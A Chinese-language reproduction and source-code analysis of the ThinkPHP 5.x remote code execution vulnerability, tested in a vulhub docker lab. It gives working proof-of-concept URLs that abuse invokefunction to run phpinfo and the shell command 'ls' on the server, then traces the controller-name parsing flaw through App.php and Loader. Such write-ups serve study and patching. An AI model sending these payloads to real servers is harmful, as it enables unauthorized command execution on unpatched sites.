Thinkphp 5.x全版本任意代码执行 复现

Thinkphp在2018/12/10发布了安全更新:

影响版本

5.x <= 5.0.23
5.1.x <= 5.1.31

漏洞复现

  • 环境:
    docker vulhub ubuntu thinkphp5.0.22
  • POC:
    代码执行:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

命令执行:

http://192.168.232.128:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

漏洞分析

  • 成因:
    框架对控制器名没有进行足够的检测,导致可以用命名空间的方式来调用任意类的任意方法。
  • 分析
    在thinkphp\library\think\App.php中设置当前请求的控制器、操作
 // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); if (!empty($config['action_convert'])) { $actionName = Loader::parseName($actionName, 1); } else { $actionName = $convert ? strtolower($actionName) : $actionName; } // 设置当前请求的控制器、操作 $request->controller(Loader::parseName($controller, 1))->action($actionName);

跟踪controller
在该文件下的exec函数中执行了控制器操作

 protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': // 重定向跳转 $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': // 模块/控制器/操作 $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; case 'controller': // 执行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] ); break; case 'method': // 回调方法 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; case 'function': // 闭包 $data = self::invokeFunction($dispatch['function']); break; case 'response': // Response 实例 $data = $dispatch['response']; break; default: throw new \InvalidArgumentException('dispatch type not support'); } return $data; }

执行控制器操作代码块

 case 'controller': // 执行控制器操作 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = Loader::action( $dispatch['controller'], $vars, $config['url_controller_layer'], $config['controller_suffix'] );

这里调用了Loader的action,我们继续跟踪

 public static function action($url, $vars = [], $layer = 'controller', $appendSuffix = false) { $info = pathinfo($url); $action = $info['basename']; $module = '.' != $info['dirname'] ? $info['dirname'] : Request::instance()->controller(); $class = self::controller($module, $layer, $appendSuffix); if ($class) { if (is_scalar($vars)) { if (strpos($vars, '=')) { parse_str($vars, $vars); } else { $vars = [$vars]; } } return App::invokeMethod([$class, $action . Config::get('action_suffix')], $vars); } return false; }

我们看到$class = self::controller($module, $layer, $appendSuffix);,这里调用了当前文件下的controller
我们跟踪controller

 public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return App::invokeClass($class); } if ($empty) { $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix); if (class_exists($emptyClass)) { return new $emptyClass(Request::instance()); } } throw new ClassNotFoundException('class not exists:' . $class, $class); }

在这里又调用了getModuleAndClass方法,跟踪该方法

 protected static function getModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $module = Request::instance()->module(); $class = $name; } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = Request::instance()->module(); } $class = self::parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; }

其中

if (false !== strpos($name, '\\')) { $module = Request::instance()->module(); $class = $name; }

简单分析可知如果控制器名中存在/(不存在)就会直接返回
$class要经过parseClass方法解析,跟踪该方法

 public static function parseClass($module, $layer, $name, $appendSuffix = false) { $array = explode('\\', str_replace(['/', '.'], '\\', $name)); $class = self::parseName(array_pop($array), 1); $class = $class . (App::$suffix || $appendSuffix ? ucfirst($layer) : ''); $path = $array ? implode('\\', $array) . '\\' : ''; return App::$namespace . '\\' . ($module ? $module . '\\' : '') . $layer . '\\' . $path . $class; }

先是分割,parseName方法是thinkphp的命名风格转换
最后拼接返回
这样getModuleAndClass返回的是一个带命名空间的完整类名
controller函数中list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);这句代码我们差不多分析完了,回到controller中

 public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return App::invokeClass($class); } if ($empty) { $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix); if (class_exists($emptyClass)) { return new $emptyClass(Request::instance()); } } throw new ClassNotFoundException('class not exists:' . $class, $class); }

判断了类是否存在,不存在会自动加载类

之后就是实例化类,调用类的方法

综上,由于判断类的命名空间采用的是判断是否存在,所以我们可以用\来构建命名空间,从而调用类的方法

在App.php文件中App类的invokeFunction的作用是执行函数

 public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }

因此构造poc:

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

(call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数)

参考文章
https://xz.aliyun.com/t/3570

相关文章